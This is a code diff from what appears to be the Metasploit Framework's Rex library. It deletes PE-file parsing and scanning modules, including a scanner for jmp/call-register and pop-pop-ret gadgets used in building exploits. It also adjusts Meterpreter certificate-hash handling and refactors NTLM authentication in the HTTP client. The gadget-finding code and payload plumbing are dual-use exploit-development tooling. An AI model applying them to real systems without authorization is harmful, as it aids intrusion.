[SharedShift0, [262400,4194561,524546,8388867,262408,4194569,524554,8388875,262416,4194577,524562,8388883,262424,4194585,524570,8388891,262432,4194593,524578,8388899,262440,4194601,524586,8388907,262448,4194609,524594,8388915,312,313,314,315,8389993,8389227,640,4195713,1409,643,388,389,786822,12583303,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,358]],
[SharedShift0, [524544,8388865,524546,8388867,524552,8388873,524554,8388875,524560,8388881,524562,8388883,524568,8388889,524570,8388891,524576,8388897,524578,8388899,524584,8388905,524586,8388907,524592,8388913,524594,8388915,312,313,314,315,8389993,8389227,640,8390017,1409,643,388,389,524678,8388999,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,358,0x0201e0, 0x0201e1, 0x0201e2, 0x1e3, 0x1eb, 0x170, 0x171, 0x172, 0x173, 0x174, 0x175, 0x176, 0x177, 0x178, 0x179, 0x17a, 0x17b, 0x17c, 0x17d, 0x17e, 0x17f]],
# 0x100
[[1048582,1048590,1048598,1048606,65575,65583,65591,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,65750,245,248,249,252,253]],
]
end
end
end

View File

@ -1,92 +0,0 @@
# -*- coding: binary -*-
require 'openssl'
module Rex
module Parser
###
#
# This class parses the contents of a PEM-encoded X509 certificate file containing
# a private key, a public key, and any appended glue certificates.
#
###
class X509Certificate
#
# Parse a certificate in unified PEM format that contains a private key and
# one or more certificates. The first certificate is the primary, while any
# additional certificates are treated as intermediary certificates. This emulates
# the behavior of web servers like nginx.
#
# @param [String] ssl_cert
# @return [String, String, Array]
def self.parse_pem(ssl_cert)
cert = nil
key = nil
chain = nil
certs = []
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
if pem =~ /PRIVATE KEY/
key = OpenSSL::PKey::RSA.new(pem)
elsif pem =~ /CERTIFICATE/
certs << OpenSSL::X509::Certificate.new(pem)
end
end
cert = certs.shift
if certs.length > 0
chain = certs
end
[key, cert, chain]
end
#
# Parse a certificate in unified PEM format from a file
#
# @param [String] ssl_cert_file
# @return [String, String, Array]
def self.parse_pem_file(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
parse_pem(data)
end
#
# Parse a certificate in unified PEM format and retrieve
# the SHA1 hash.
#
# @param [String] ssl_cert
# @return [String]
def self.get_cert_hash(ssl_cert)
hcert = parse_pem(ssl_cert)
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate"
end
Rex::Text.sha1_raw(hcert[1].to_der)
end
#
# Parse a file that contains a certificate in unified PEM
# format and retrieve the SHA1 hash.
#
# @param [String] ssl_cert_file
# @return [String]
def self.get_cert_file_hash(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
get_cert_hash(data)
end
end
end
end

View File

@ -2,7 +2,7 @@
require 'msf/core/payload/uuid'
require 'msf/core/payload/windows'
require 'msf/core/reflective_dll_loader'
require 'rex/parser/x509_certificate'
require 'rex/socket/x509_certificate'
class Rex::Payloads::Meterpreter::Config

View File

@ -1,10 +0,0 @@
# -*- coding: binary -*-
module Rex
module PeParsey
end
end
require 'rex/peparsey/pe'
require 'rex/peparsey/pe_memdump'

View File

@ -1,30 +0,0 @@
# -*- coding: binary -*-
module Rex
module PeParsey
class PeError < ::RuntimeError
end
class ParseError < PeError
end
class DosHeaderError < ParseError
end
class FileHeaderError < ParseError
end
class OptionalHeaderError < ParseError
end
class BoundsError < PeError
end
class PeParseyError < PeError
end
class SkipError < PeError
end
end end

View File

@ -1,210 +0,0 @@
# -*- coding: binary -*-
require 'rex/image_source'
require 'rex/peparsey/exceptions'
require 'rex/peparsey/pebase'
require 'rex/peparsey/section'
require 'rex/struct2'
module Rex
module PeParsey
class Pe < PeBase
def initialize(isource)
#
# DOS Header
#
# Parse the initial dos header, starting at the file beginning
#
offset = 0
dos_header = self.class._parse_dos_header(isource.read(offset, IMAGE_DOS_HEADER_SIZE))
#
# File Header
#
# If there is going to be a PE, the dos header tells us where to find it
# So now we try to parse the file (pe) header
#
offset += dos_header.e_lfanew
# most likely an invalid e_lfanew...
if offset > isource.size
raise FileHeaderError, "e_lfanew looks invalid", caller
end
file_header = self.class._parse_file_header(isource.read(offset, IMAGE_FILE_HEADER_SIZE))
#
# Optional Header
#
# After the file header, we find the optional header. Right now
# we require a optional header. Despite it's name, all binaries
# that we are interested in should have one. We need this
# header for a lot of stuff, so we die without it...
#
offset += IMAGE_FILE_HEADER_SIZE
optional_header = self.class._parse_optional_header(
isource.read(offset, file_header.SizeOfOptionalHeader)
)
if !optional_header
raise OptionalHeaderError, "No optional header!", caller
end
base = optional_header.ImageBase
#
# Section Headers
#
# After the optional header should be the section headers.
# We know how many there should be from the file header...
#
offset += file_header.SizeOfOptionalHeader
num_sections = file_header.NumberOfSections
section_headers = self.class._parse_section_headers(
isource.read(offset, IMAGE_SIZEOF_SECTION_HEADER * num_sections)
)
#
# End of Headers
#
# After the section headers (which are padded to FileAlignment)
# we should find the section data, described by the section
# headers...
#
# So this is the end of our header data, lets store this
# in an image source for possible access later...
#
offset += IMAGE_SIZEOF_SECTION_HEADER * num_sections
offset = self.class._align_offset(offset, optional_header.FileAlignment)
header_section = Section.new(isource.subsource(0, offset), 0, nil)
#
# Sections
#
# So from here on out should be section data, and then any
# trailing data (like authenticode and stuff I think)
#
sections = [ ]
section_headers.each do |section_header|
rva = section_header.VirtualAddress
size = section_header.SizeOfRawData
file_offset = section_header.PointerToRawData
sections << Section.new(
isource.subsource(file_offset, size),
rva,
section_header
)
end
#
# Save the stuffs!
#
# We have parsed enough to load the file up here, now we just
# save off all of the structures and data... We will
# save our fake header section, the real sections, etc.
#
#
# These should not be accessed directly
#
self._isource = isource
self._dos_header = dos_header
self._file_header = file_header
self._optional_header = optional_header
self._section_headers = section_headers
self.image_base = base
self.sections = sections
self.header_section = header_section
self._config_header = _parse_config_header()
self._tls_header = _parse_tls_header()
# These can be accessed directly
self.hdr = HeaderAccessor.new
self.hdr.dos = self._dos_header
self.hdr.file = self._file_header
self.hdr.opt = self._optional_header
self.hdr.sections = self._section_headers
self.hdr.config = self._config_header
self.hdr.tls = self._tls_header
self.hdr.exceptions = self._exception_header
# We load the exception directory last as it relies on hdr.file to be created above.
self._exception_header = _load_exception_directory()
end
#
# Return everything that's going to be mapped in the process
# and accessable. This should include all of the sections
# and our "fake" section for the header data...
#
def all_sections
[ header_section ] + sections
end
#
# Returns true if this binary is for a 64-bit architecture.
#
def ptr_64?
[
IMAGE_FILE_MACHINE_IA64,
IMAGE_FILE_MACHINE_ALPHA64,
IMAGE_FILE_MACHINE_AMD64
].include?(self._file_header.Machine)
end
#
# Returns true if this binary is for a 32-bit architecture.
# This check does not take into account 16-bit binaries at the moment.
#
def ptr_32?
ptr_64? == false
end
#
# Converts a virtual address to a string representation based on the
# underlying architecture.
#
def ptr_s(va)
(ptr_32?) ? ("0x%.8x" % va) : ("0x%.16x" % va)
end
#
# Converts a file offset into a virtual address
#
def file_offset_to_va(offset)
image_base + file_offset_to_rva(offset)
end
#
# Read raw bytes from the specified offset in the underlying file
#
# NOTE: You should pass raw file offsets into this, not offsets from
# the beginning of the section. If you need to read from within a
# section, add section.file_offset prior to passing the offset in.
#
def read(offset, len)
_isource.read(offset, len)
end
def size
_isource.size
end
def length
_isource.size
end
end end end

View File

@ -1,61 +0,0 @@
# -*- coding: binary -*-
require 'rex/image_source'
require 'rex/peparsey/exceptions'
require 'rex/peparsey/pebase'
require 'rex/peparsey/section'
require 'rex/struct2'
#
# This class is for use with memdump.exe generated dump images. It basically
# just lies, gets the ImageBase from the file name, and generates 1 big
# header_section with all of the data in it...
#
module Rex
module PeParsey
class PeMemDump < Pe
def self.new_from_string(data)
raise NotImplementError
end
def self.new_from_file(filename, disk_backed = false)
if filename[-4, 4] != '.rng'
raise "Not a .rng file: #{filename}"
end
if filename[-9, 9] == "index.rng"
raise SkipError
end
file = File.open(filename, 'rb')
if disk_backed
obj = ImageSource::Disk.new(file)
else
obj = ImageSource::Memory.new(file.read)
obj.close
end
return self.new(obj, filename.gsub(/.*[\/\\]/, '')[0,8].hex)
end
def initialize(isource, base)
self._isource = isource
self.header_section = Section.new(isource, base, nil)
self.sections = [ self.header_section ]
self.image_base = 0
end
def all_sections
self.sections
end
# No 64-bit support
def ptr_64?
false
end
end end end

File diff suppressed because it is too large Load Diff

View File

@ -1,128 +0,0 @@
# -*- coding: binary -*-
require 'rex/peparsey/exceptions'
require 'rex/peparsey/pebase'
require 'rex/struct2'
module Rex
module PeParsey
class Section
attr_accessor :_section_header, :_isource
attr_accessor :base_rva
#
# Initialize a section.
#
# isource - The ImageSource class backing the image
# base_vma - The address of this section base
# section_header - The section header (struct2) although this is not
# required, which is why there is a base_vma. This can be nil.
#
def initialize(isource, base_rva, section_header = nil)
self._isource = isource
self.base_rva = base_rva
self._section_header = section_header
end
def file_offset
_isource.file_offset
end
def size
_isource.size
end
def name
# a section header is not required
return nil if !_section_header
# FIXME make this better...
_section_header.v['Name'].gsub(/\x00+$/n, '')
end
def flags
# a section header is not required
return nil if !_section_header
_section_header.v['Characteristics']
end
def vma
# a section header is not required
return nil if !_section_header
_section_header.v['VirtualAddress']
end
def raw_size
# a section header is not required
return nil if !_section_header
_section_header.v['SizeOfRawData']
end
def _check_offset(offset, len = 1)
if offset < 0 || offset+len > size
raise BoundsError, "Offset #{offset} outside of section", caller
end
end
def read(offset, len)
_check_offset(offset, len)
return _isource.read(offset, len)
end
def read_rva(rva, len)
return read(rva_to_offset(rva), len)
end
def read_asciiz(offset)
_check_offset(offset)
return _isource.read_asciiz(offset)
end
def read_asciiz_rva(rva)
return read_asciiz(rva_to_offset(rva))
end
def index(*args)
_isource.index(*args)
end
def offset_to_rva(offset)
if !contains_offset?(offset)
raise BoundsError, "Offset #{offset} outside of section", caller
end
return offset + base_rva
end
def file_offset_to_rva(foffset)
return offset_to_rva(foffset - file_offset)
end
def rva_to_offset(rva)
offset = rva - base_rva
if !contains_offset?(offset)
raise BoundsError, "RVA #{rva} outside of section", caller
end
return offset
end
def rva_to_file_offset(rva)
return rva_to_offset(rva) + file_offset
end
def contains_offset?(offset)
offset >= 0 && offset < size
end
def contains_file_offset?(foffset)
contains_offset?(foffset - file_offset)
end
def contains_rva?(rva)
contains_offset?(rva - base_rva)
end
end
end end

View File

@ -1,11 +0,0 @@
# -*- coding: binary -*-
module Rex
module PeScan
end
end
require 'rex/pescan/analyze'
require 'rex/pescan/scanner'
require 'rex/pescan/search'

View File

@ -1,366 +0,0 @@
# -*- coding: binary -*-
module Rex
module PeScan
module Analyze
require "rex/text/table"
class Fingerprint
attr_accessor :pe
def initialize(pe)
self.pe = pe
end
def config(param)
@sigs = {}
name = nil
regx = ''
epon = 0
sidx = 0
fd = File.open(param['database'], 'rb')
fd.each_line do |line|
case line
when /^\s*#/
next
when /\[\s*(.*)\s*\]/
if (name)
@sigs[ name ] = [regx, epon]
end
name = $1 + " [#{ sidx+=1 }]"
epon = 0
next
when /signature\s*=\s*(.*)/
pat = $1.strip
regx = ''
pat.split(/\s+/).each do |c|
next if c.length != 2
regx << (c.index('?') ? '.' : "\\x#{c}")
end
when /ep_only\s*=\s*(.*)/
epon = ($1 =~ /^T/i) ? 1 : 0
end
end
if (name and ! @sigs[name])
@sigs[ name ] = [regx, epon]
end
fd.close
end
def scan(param)
config(param)
epa = pe.hdr.opt.AddressOfEntryPoint
buf = pe.read_rva(epa, 256) || ""
@sigs.each_pair do |name, data|
begin
if (buf.match(Regexp.new('^' + data[0], nil, 'n')))
$stdout.puts param['file'] + ": " + name
end
rescue RegexpError
$stderr.puts "Invalid signature: #{name} #{data[0]}"
end
end
end
end
class Information
attr_accessor :pe
def initialize(pe)
self.pe = pe
end
def add_fields(tbl, obj, fields)
fields.each do |name|
begin
tbl << [name, "0x%.8x" % obj.send(name)]
rescue ::NoMethodError => e
$stderr.puts "Invalid field #{name}"
end
end
end
def scan(param)
$stdout.puts "\n\n"
tbl = table("Image Headers", ['Name', 'Value'])
add_fields(tbl, pe.hdr.file, %W{
Characteristics
SizeOfOptionalHeader
PointerToSymbolTable
TimeDateStamp
NumberOfSections
Machine
})
$stdout.puts tbl.to_s
$stdout.puts "\n\n"
tbl = table("Optional Image Headers", ['Name', 'Value'])
add_fields(tbl, pe.hdr.opt, %W{
ImageBase
Magic
MajorLinkerVersion
MinorLinkerVersion
SizeOfCode
SizeOfInitializeData
SizeOfUninitializeData
AddressOfEntryPoint
BaseOfCode
BaseOfData
SectionAlignment
FileAlignment
MajorOperatingSystemVersion
MinorOperatingSystemVersion
MajorImageVersion
MinorImageVersion
MajorSubsystemVersion
MinorSubsystemVersion
Win32VersionValue
SizeOfImage
SizeOfHeaders
CheckSum
Subsystem
DllCharacteristics
SizeOfStackReserve
SizeOfStackCommit
SizeOfHeapReserve
SizeOfHeapCommit
LoaderFlags
NumberOfRvaAndSizes
})
$stdout.puts tbl.to_s
$stdout.puts "\n\n"
# Get DllCharacteristics (in Integer)
dllcharacteristics = pe.hdr.opt.struct[23].value
if (dllcharacteristics > 0)
tbl = table("DllCharacteristics", ['Flag', 'Value'])
# http://msdn.microsoft.com/en-us/library/ms680339(v=vs.85).aspx
traits = {
:ASLR => 'False', #IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
:Integrity => 'False', #IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY
:NX => 'False', #IMAGE_DLLCHARACTERISTICS_NX_COMPAT
:Isolation => 'False', #IMAGE_DLLCHARACTERISTICS_NO_ISOLATION
:SEH => 'False', #IMAGE_DLLCHARACTERISTICS_NO_SEH
:Bind => 'False', #IMAGE_DLLCHARACTERISTICS_NO_BIND
:WDM => 'False', #IMAGE_DLLCHARACTERISTICS_WDM_DRIVER
:Terminal => 'False' #IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE
}
# Convert integer to an bit array
c_bits = ("%32d" %dllcharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
# Check characteristics
traits[:ASLR] = 'True' if c_bits[6] == 1 #0x0040
traits[:Integrity] = 'True' if c_bits[7] == 1 #0x0080
traits[:NX] = 'True' if c_bits[8] == 1 #0x0100
traits[:Isolation] = 'True' if c_bits[9] == 1 #0x0200
traits[:SEH] = 'True' if c_bits[10] == 1 #0x0400
traits[:Bind] = 'True' if c_bits[11] == 1 #0x0800
traits[:WDM] = 'True' if c_bits[13] == 1 #2000
traits[:Terminal] = 'True' if c_bits[15] == 1 #0x8000
# Putting results to table
traits.each do |trait_name, trait_value|
tbl << [trait_name, trait_value]
end
$stdout.puts tbl.to_s
$stdout.puts "\n\n"
end
if (pe.exports)
tbl = table("Exported Functions", ['Ordinal', 'Name', 'Address'])
pe.exports.entries.each do |ent|
tbl << [ent.ordinal, ent.name, "0x%.8x" % pe.rva_to_vma(ent.rva)]
end
$stdout.puts tbl.to_s
$stdout.puts "\n\n"
end
# Rex::PeParsey::Pe doesn't seem to give us any offset information for each function,
# which makes it difficult to calculate the actual addresses for them. So instead we
# are using Metasm::COFF::ImportDirectory to do this task. The ability to see
# addresses is mainly for ROP.
if (pe.imports)
tbl = table("Imported Functions", ['Library', 'Address', 'Ordinal', 'Name'])
exefmt = Metasm::AutoExe.orshellcode{ Metasm.const_get('x86_64').new }
exe = exefmt.decode_file(pe._isource.file.path)
ibase = pe.image_base
exe_imports = exe.imports
exe_imports.each do |lib|
lib_name = lib.libname
ini_offset = lib.iat_p
func_table = lib.imports
offset = 0
func_table.each do |func|
func_addr = "0x%08x" %(ibase + ini_offset + offset)
tbl << [lib_name, func_addr, func.hint, func.name]
offset += 4
end
end
$stdout.puts tbl.to_s
$stdout.puts "\n\n"
end
if(pe.config)
tbl = table("Configuration Header", ['Name', 'Value'])
add_fields(tbl, pe.config, %W{
Size
TimeDateStamp
MajorVersion
MinorVersion
GlobalFlagsClear
GlobalFlagsSet
CriticalSectionDefaultTimeout
DeCommitFreeBlockThreshold
DeCommitTotalFreeThreshold
LockPrefixTable
MaximumAllocationSize
VirtualMemoryThreshold
ProcessAffinityMask
ProcessHeapFlags
CSDVersion
Reserved1
EditList
SecurityCookie
SEHandlerTable
SEHandlerCount
})
$stdout.puts tbl.to_s
$stdout.puts "\n\n"
end
if(pe.resources)
tbl = table("Resources", ['ID', 'Language', 'Code Page', 'Size', 'Name'])
pe.resources.keys.sort.each do |rkey|
res = pe.resources[rkey]
tbl << [rkey, res.lang, res.code, res.size, res.file]
end
$stdout.puts tbl.to_s
$stdout.puts "\n\n"
end
tbl = table("Section Header", ["Name", "VirtualAddress", "SizeOfRawData", "Characteristics"])
pe.sections.each do |sec|
tbl << [ sec.name, *[sec.vma, sec.raw_size, sec.flags].map{|x| "0x%.8x" % x} ]
end
$stdout.puts tbl.to_s
$stdout.puts "\n\n"
end
def table(name, cols)
Rex::Text::Table.new(
'Header' => name,
'Columns' => cols
)
end
end
class Ripper
require "fileutils"
attr_accessor :pe
def initialize(pe)
self.pe = pe
end
def scan(param)
dest = param['dir']
if (param['file'])
dest = File.join(dest, File.basename(param['file']))
end
::FileUtils.mkdir_p(dest)
pe.resources.keys.sort.each do |rkey|
res = pe.resources[rkey]
path = File.join(dest, rkey.split('/')[1] + '_' + res.file)
fd = File.new(path, 'wb')
fd.write(res.data)
fd.close
end
end
end
class ContextMapDumper
attr_accessor :pe
def initialize(pe)
self.pe = pe
end
def scan(param)
dest = param['dir']
path = ''
::FileUtils.mkdir_p(dest)
if(not (param['dir'] and param['file']))
$stderr.puts "No directory or file specified"
return
end
if (param['file'])
path = File.join(dest, File.basename(param['file']) + ".map")
end
fd = File.new(path, "wb")
pe.all_sections.each do |section|
# Skip over known bad sections
next if section.name == ".data"
next if section.name == ".reloc"
offset = 0
while offset < section.size
byte = section.read(offset, 1)[0]
if byte != 0
chunkbase = pe.rva_to_vma(section.base_rva) + offset
data = ''
while byte != 0
data << byte
offset += 1
byte = 0
byte = section.read(offset, 1)[0] if offset < section.size
end
buff = nil
buff = [ 0x01, chunkbase, data.length, data].pack("CNNA*") if data.length > 0
fd.write(buff) if buff
end
offset += 1
end
end
fd.close
end
end
# EOC
end
end
end

View File

@ -1,230 +0,0 @@
# -*- coding: binary -*-
require 'metasm'
module Rex
module PeScan
module Scanner
class Generic
attr_accessor :pe, :regex
def initialize(pe)
self.pe = pe
end
def config(param)
end
def scan(param)
config(param)
$stdout.puts "[#{param['file']}]"
pe.all_sections.each do |section|
hits = scan_section(section, param)
hits.each do |hit|
vma = pe.rva_to_vma(hit[0])
next if (param['filteraddr'] and [vma].pack("V").reverse !~ /#{param['filteraddr']}/)
msg = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1]
$stdout.puts pe.ptr_s(vma) + " " + msg
if(param['disasm'])
#puts [msg].pack('H*').inspect
insns = []
msg.gsub!("; ", "\n")
if msg.include?("retn")
msg.gsub!("retn", "ret")
end
#puts msg
begin
d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, msg).disassemble
rescue Metasm::ParseError
d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [msg].pack('H*'))
end
addr = 0
while ((di = d2.disassemble_instruction(addr)))
insns << di.instruction
disasm = "0x%08x\t" % (vma + addr)
disasm << di.instruction.to_s
$stdout.puts disasm
addr = di.next_addr
end
# ::Rex::Assembly::Nasm.disassemble([msg].pack("H*")).split("\n").each do |line|
# $stdout.puts "\tnasm: #{line.strip}"
#end
end
end
end
end
def scan_section(section, param={})
[]
end
end
class JmpRegScanner < Generic
def config(param)
regnums = param['args']
# build a list of the call bytes
calls = _build_byte_list(0xd0, regnums - [4]) # note call esp's don't work..
jmps = _build_byte_list(0xe0, regnums)
pushs1 = _build_byte_list(0x50, regnums)
pushs2 = _build_byte_list(0xf0, regnums)
regexstr = '('
if !calls.empty?
regexstr += "\xff[#{calls}]|"
end
regexstr += "\xff[#{jmps}]|([#{pushs1}]|\xff[#{pushs2}])(\xc3|\xc2..))"
self.regex = Regexp.new(regexstr, nil, 'n')
end
# build a list for regex of the possible bytes, based on a base
# byte and a list of register numbers..
def _build_byte_list(base, regnums)
regnums.collect { |regnum| Regexp.escape((base | regnum).chr) }.join('')
end
def _ret_size(section, index)
d = section.read(index, 1)
case d
when "\xc3"
return 1
when "\xc2"
return 3
end
raise RuntimeError, "invalid return opcode"
end
def _parse_ret(data)
if data.length == 1
return "ret"
else
return "retn 0x%04x" % data[1, 2].unpack('v')[0]
end
end
def scan_section(section, param={})
index = 0
hits = [ ]
while (index = section.index(regex, index)) != nil
rva = section.offset_to_rva(index)
message = ''
parse_ret = false
byte1 = section.read(index, 1).unpack("C*")[0]
if byte1 == 0xff
byte2 = section.read(index+1, 1).unpack("C*")[0]
regname = Rex::Arch::X86.reg_name32(byte2 & 0x7)
case byte2 & 0xf8
when 0xd0
message = "call #{regname}"
index += 2
when 0xe0
message = "jmp #{regname}"
index += 2
when 0xf0
retsize = _ret_size(section, index+2)
message = "push #{regname}; " + _parse_ret(section.read(index+2, retsize))
index += 2 + retsize
else
raise "wtf"
end
else
regname = Rex::Arch::X86.reg_name32(byte1 & 0x7)
retsize = _ret_size(section, index+1)
message = "push #{regname}; " + _parse_ret(section.read(index+1, retsize))
index += 1 + retsize
end
hits << [ rva, message ]
end
return hits
end
end
class PopPopRetScanner < JmpRegScanner
def config(param)
pops = _build_byte_list(0x58, (0 .. 7).to_a - [4]) # we don't want pop esp's...
self.regex = Regexp.new("[#{pops}][#{pops}](\xc3|\xc2..)", nil, 'n')
end
def scan_section(section, param={})
index = 0
hits = [ ]
while index < section.size && (index = section.index(regex, index)) != nil
rva = section.offset_to_rva(index)
message = ''
pops = section.read(index, 2)
reg1 = Rex::Arch::X86.reg_name32(pops[0,1].unpack("C*")[0] & 0x7)
reg2 = Rex::Arch::X86.reg_name32(pops[1,1].unpack("C*")[0] & 0x7)
message = "pop #{reg1}; pop #{reg2}; "
retsize = _ret_size(section, index+2)
message += _parse_ret(section.read(index+2, retsize))
index += 2 + retsize
hits << [ rva, message ]
end
return hits
end
end
class RegexScanner < Generic
def config(param)
self.regex = Regexp.new(param['args'], nil, 'n')
end
def scan_section(section, param={})
index = 0
hits = [ ]
while index < section.size && (index = section.index(regex, index)) != nil
idx = index
buf = ''
mat = nil
while (! (mat = buf.match(regex)))
buf << section.read(idx, 1)
idx += 1
end
rva = section.offset_to_rva(index)
hits << [ rva, buf.unpack("H*") ]
index += buf.length
end
return hits
end
end
end
end
end

View File

@ -1,68 +0,0 @@
# -*- coding: binary -*-
module Rex
module PeScan
module Search
require "rex/assembly/nasm"
class DumpRVA
attr_accessor :pe
def initialize(pe)
self.pe = pe
end
def config(param)
@address = pe.vma_to_rva(param['args'])
end
def scan(param)
config(param)
$stdout.puts "[#{param['file']}]"
# Adjust based on -A and -B flags
pre = param['before'] || 0
suf = param['after'] || 16
@address -= pre
@address = 0 if (@address < 0 || ! @address)
begin
buf = pe.read_rva(@address, suf)
rescue ::Rex::PeParsey::PeParseyError
return
end
$stdout.puts pe.ptr_s(pe.rva_to_vma(@address)) + " " + buf.unpack("H*")[0]
if(param['disasm'])
insns = []
buf.gsub!("; ", "\n")
if buf.include?("retn")
buf.gsub!("retn", "ret")
end
d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, buf)
addr = 0
while ((di = d2.disassemble_instruction(addr)))
insns << di.instruction
disasm = "0x%08x\t" % (pe.rva_to_vma(@address) + addr)
disasm << di.instruction.to_s
$stdout.puts disasm
addr = di.next_addr
end
end
end
end
class DumpOffset < DumpRVA
def config(param)
begin
@address = pe.file_offset_to_rva(param['args'])
rescue Rex::PeParsey::BoundsError
end
end
end
end
end
end

View File

@ -13,7 +13,7 @@ require 'msf/core/payload/uuid'
require 'rex/payloads/meterpreter/uri_checksum'
# certificate hash checking
require 'rex/parser/x509_certificate'
require 'rex/socket/x509_certificate'
module Rex
module Post
@ -686,7 +686,7 @@ class ClientCore < Extension
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert])
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
end

View File

@ -3,10 +3,6 @@ require 'rex/socket'
require 'rex/proto/http'
require 'rex/text'
require 'digest'
require 'rex/proto/ntlm/crypt'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/utils'
require 'rex/proto/ntlm/exceptions'
require 'rex/proto/http/client_request'
@ -271,26 +267,30 @@ class Client
return res if opts['username'].nil? or opts['username'] == ''
supported_auths = res.headers['WWW-Authenticate']
if supported_auths.include? 'Basic'
# if several providers are available, the client may want one in particular
preferred_auth = opts['preferred_auth']
if supported_auths.include?('Basic') && (preferred_auth.nil? || preferred_auth == 'Basic')
opts['headers'] ||= {}
opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] )
req = request_cgi(opts)
res = _send_recv(req,t,persist)
return res
elsif supported_auths.include? "Digest"
elsif supported_auths.include?('Digest') && (preferred_auth.nil? || preferred_auth == 'Digest')
temp_response = digest_auth(opts)
if temp_response.kind_of? Rex::Proto::Http::Response
res = temp_response
end
return res
elsif supported_auths.include? "NTLM"
elsif supported_auths.include?('NTLM') && (preferred_auth.nil? || preferred_auth == 'NTLM')
opts['provider'] = 'NTLM'
temp_response = negotiate_auth(opts)
if temp_response.kind_of? Rex::Proto::Http::Response
res = temp_response
end
return res
elsif supported_auths.include? "Negotiate"
elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Negotiate')
opts['provider'] = 'Negotiate'
temp_response = negotiate_auth(opts)
if temp_response.kind_of? Rex::Proto::Http::Response
@ -313,7 +313,6 @@ class Client
# Send a series of requests to complete Digest Authentication
#
# @param opts [Hash] the options used to build an HTTP request
#
# @return [Response] the last valid HTTP response we received
def digest_auth(opts={})
@nonce_count = 0
@ -457,13 +456,6 @@ class Client
#
# @return [Response] the last valid HTTP response we received
def negotiate_auth(opts={})
ntlm_options = {
:signing => false,
:usentlm2_session => self.config['usentlm2_session'],
:use_ntlmv2 => self.config['use_ntlmv2'],
:send_lm => self.config['send_lm'],
:send_ntlm => self.config['send_ntlm']
}
to = opts['timeout'] || 20
opts['username'] ||= ''
@ -472,28 +464,27 @@ class Client
if opts['provider'] and opts['provider'].include? 'Negotiate'
provider = "Negotiate "
else
provider = 'NTLM '
provider = "NTLM "
end
opts['method']||= 'GET'
opts['headers']||= {}
ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options)
workstation_name = Rex::Text.rand_text_alpha(rand(8)+6)
domain_name = self.config['domain']
b64_blob = Rex::Text::encode_base64(
::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init(
domain_name,
workstation_name,
ntlmssp_flags
))
ntlm_message_1 = provider + b64_blob
ntlm_client = ::Net::NTLM::Client.new(
opts['username'],
opts['password'],
workstation: workstation_name,
domain: domain_name,
)
type1 = ntlm_client.init_context
begin
# First request to get the challenge
opts['headers']['Authorization'] = ntlm_message_1
opts['headers']['Authorization'] = provider + type1.encode64
r = request_cgi(opts)
resp = _send_recv(r, to)
unless resp.kind_of? Rex::Proto::Http::Response
@ -506,47 +497,10 @@ class Client
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
return resp unless ntlm_challenge
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2)
challenge_key = blob_data[:challenge_key]
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
default_name = blob_data[:default_name] || '' #netbios name
default_domain = blob_data[:default_domain] || '' #netbios domain
dns_host_name = blob_data[:dns_host_name] || '' #dns name
dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time
spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname}
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses(
opts['username'],
opts['password'],
challenge_key,
domain_name,
default_name,
default_domain,
dns_host_name,
dns_domain_name,
chall_MsvAvTimestamp,
spnopt,
ntlm_options
)
ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth(
domain_name,
workstation_name,
opts['username'],
resp_lm,
resp_ntlm,
'',
ntlmssp_flags
)
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
ntlm_message_3 = ntlm_client.init_context(ntlm_challenge)
# Send the response
opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}"
opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3.encode64}"
r = request_cgi(opts)
resp = _send_recv(r, to, true)
unless resp.kind_of? Rex::Proto::Http::Response
@ -558,6 +512,7 @@ class Client
return nil
end
end
#
# Read a response from the server
#
@ -713,7 +668,6 @@ protected
attr_accessor :hostname, :port # :nodoc:
end
end

View File

@ -4,6 +4,8 @@ module Proto
module SMB
class Client
require 'net/ntlm'
require 'rex/text'
require 'rex/struct2'
